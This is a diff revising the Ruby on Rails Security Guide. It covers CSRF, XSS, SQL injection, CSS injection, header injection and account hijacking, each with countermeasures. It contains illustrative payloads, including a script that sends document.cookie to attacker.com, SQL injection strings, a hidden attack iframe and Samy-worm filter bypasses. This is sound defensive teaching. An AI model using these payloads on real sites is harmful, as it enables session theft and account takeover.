@@ -348,17 +354,17 @@ Intranet and administration interfaces are popular attack targets, because they
In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

-**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
@@ -368,147 +374,12 @@ For _countermeasures against CSRF in administration interfaces and Intranet appl
The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-Mass Assignment
----------------
-
-WARNING: _Without any precautions `Model.new(params[:model]`) allows attackers to set
-any database column's value._
-
-The mass-assignment feature may become a problem, as it allows an attacker to set
-any model's attributes by manipulating the hash passed to a model's `new()` method:
-
-```ruby
-def signup
- params[:user] # => {name:"ow3ned", admin:true}
- @user = User.new(params[:user])
-end
-```
-
-Mass-assignment saves you much work, because you don't have to set each value
-individually. Simply pass a hash to the `new` method, or `assign_attributes=`
-a hash value, to set the model's attributes to the values in the hash. The
-problem is that it is often used in conjunction with the parameters (params)
-hash available in the controller, which may be manipulated by an attacker.
-He may do so by changing the URL like this:
-
-```
-http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-```
-
-This will set the following parameters in the controller:
-
-```ruby
-params[:user] # => {name:"ow3ned", admin:true}
-```
-
-So if you create a new user using mass-assignment, it may be too easy to become
-an administrator.
-
-Note that this vulnerability is not restricted to database columns. Any setter
-method, unless explicitly protected, is accessible via the `attributes=` method.
-In fact, this vulnerability is extended even further with the introduction of
-nested mass assignment (and nested object forms) in Rails 2.3. The
-`accepts_nested_attributes_for` declaration provides us the ability to extend
-mass assignment to model associations (`has_many`, `has_one`,
-`has_and_belongs_to_many`). For example:
-
-```ruby
- class Person < ActiveRecord::Base
- has_many :children
-
- accepts_nested_attributes_for :children
- end
-
- class Child < ActiveRecord::Base
- belongs_to :person
- end
-```
-
-As a result, the vulnerability is extended beyond simply exposing column
-assignment, allowing attackers the ability to create entirely new records
-in referenced tables (children in this case).
-
-### Countermeasures
-
-To avoid this, Rails provides an interface for protecting attributes from
-end-user assignment called Strong Parameters. This makes Action Controller
-parameters forbidden until they have been whitelisted, so you will have to
-make a conscious choice about which attributes to allow for mass assignment
-and thus prevent accidentally exposing that which shouldn’t be exposed.
-
-NOTE. Before Strong Parameters arrived, mass-assignment protection was a
-model's task provided by Active Model. This has been extracted to the
-[ProtectedAttributes](https://github.com/rails/protected_attributes)
-gem. In order to use `attr_accessible` and `attr_protected` helpers in
-your models, you should add `protected_attributes` to your Gemfile.
-
-Why we moved mass-assignment protection out of the model and into
-the controller? The whole point of the controller is to control the
-flow between user and application, including authentication, authorization,
-and, as part of that, access control.
-
-Strong Parameters provides two methods to the `params` hash to control
-access to your attributes: `require` and `permit`. The former is used
-to mark parameters as required and the latter limits which attributes
-should be allowed for mass updating using the slice pattern. For example:
-
-```ruby
-def signup
- params[:user]
- # => {name:"ow3ned", admin:true}
- permitted_params = params.require(:user).permit(:name)
- # => {name:"ow3ned"}
-
- @user = User.new(permitted_params)
-end
-```
-
-In the example above, `require` is checking whether a `user` key is present or not
-in the parameters, if it's not present, it'll raise an `ActionController::MissingParameter`
-exception, which will be caught by `ActionController::Base` and turned into a
-400 Bad Request reply. Then `permit` whitelists the attributes that should be
-allowed for mass assignment.
-
-A good pattern to encapsulate the permissible parameters is to use a private method
-since you'll be able to reuse the same permit list between different actions.
-
-```ruby
-def signup
- @user = User.new(user_params)
- # ...
-end
-
-def update
- @user = User.find(params[:id]
- @user.update_attributes!(user_params)
- # ...
-end
-
-private
- def user_params
- params.require(:user).permit(:name)
- end
-```
-
-Also, you can specialize this method with per-user checking of permissible
-attributes.
-
-```ruby
-def user_params
- if current_user.admin?
- params.require(:user).permit(:name, :admin)
- else
- params.require(:user).permit(:name)
- end
-end
-```
-
User Management
---------------
@@ -516,7 +387,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
```
http://localhost:3006/user/activate
@@ -535,7 +406,7 @@ If the parameter was nil, the resulting SQL query will be
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
### Brute-Forcing Accounts
@@ -543,7 +414,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login
A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
-Because of this, most web applications will display a generic error message “user name or password not correctâ€, if one of these are not correct. If it said “the user name you entered has not been foundâ€, an attacker could automatically compile a list of user names.
+Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
@@ -555,24 +426,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
#### Passwords
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
#### E-Mail
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
#### Other
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
### CAPTCHAs
-INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](http://ambethia.com/recaptcha/) is also a Rails plug-in with the same name as the API.
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
@@ -584,7 +455,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
* Randomize the field names
@@ -606,7 +477,7 @@ config.filter_parameters << :password
INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
@@ -618,7 +489,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu
INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
-Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
```ruby
/^https?:\/\/[^\n]+$/i
@@ -632,7 +503,7 @@ http://hi.com
*/
```
-This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
```ruby
link_to "Homepage", @user.homepage
@@ -665,7 +536,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
@project = Project.find(params[:id])
```
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
```ruby
@project = @current_user.projects.find(params[:id])
@@ -684,12 +555,11 @@ Injection is very tricky, because the same code or parameter can be malicious in
### Whitelists versus Blacklists
-NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
+NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
* Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions.
-* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
* Don't try to correct user input by blacklists:
* This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
@@ -709,7 +579,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
Project.where("name = '#{params[:name]}'")
```
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
```sql
SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -719,7 +589,7 @@ The two dashes start a comment ignoring everything after it. So the query return
#### Bypassing Authorization
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
```ruby
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -760,7 +630,7 @@ Also, the second query renames some columns with the AS statement so that the we
#### Countermeasures
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
@@ -784,7 +654,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
@@ -817,7 +687,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
<script>document.write(document.cookie);</script>
```
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
```html
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -836,10 +706,10 @@ You can mitigate these attacks (in the obvious way) by adding the [httpOnly](htt
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
```html
-<iframe name=â€StatPage†src="http://58.xx.xxx.xxx" width=5 height=5 style=â€display:noneâ€></iframe>
+<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
```
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
@@ -856,13 +726,13 @@ _It is very important to filter malicious input, but it is also important to esc
Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
-Imagine a blacklist deletes “script†from the user input. Now the attacker injects “&lt;scrscriptipt&gt;â€, and after the filter, “&lt;script&gt;†remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
```ruby
strip_tags("some<<b>script>alert('hello')<</b>/script>")
```
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():
```ruby
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
@@ -871,7 +741,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title))
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources.
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources.
##### Obfuscation and Encoding Injection
@@ -882,7 +752,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemyâ€, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
#### Examples from the Underground
@@ -898,9 +768,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_htmlâ€, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
The MySpace Samy worm will be discussed in the CSS Injection section.
@@ -922,13 +792,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
```
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTMLâ€:
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
```
alert(eval('document.body.inne' + 'rHTML'));
```
-The next problem was MySpace filtering the word “javascriptâ€, so the author used “java&lt;NEWLINE&gt;script" to get around this:
+The next problem was MySpace filtering the word "javascript", so the author used "java&lt;NEWLINE&gt;script" to get around this:
```html
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
@@ -942,7 +812,7 @@ The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS pr
#### Countermeasures
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
### Textile Injection
@@ -975,9 +845,9 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_
### Ajax Injection
-NOTE: _The same security precautions have to be taken for Ajax actions as for “normal†ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
-If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
### Command Line Injection
@@ -999,7 +869,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances
HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
```ruby
redirect_to params[:referer]
@@ -1026,7 +896,7 @@ HTTP/1.1 302 Moved Temporarily
Location: http://www.malicious.tld
```
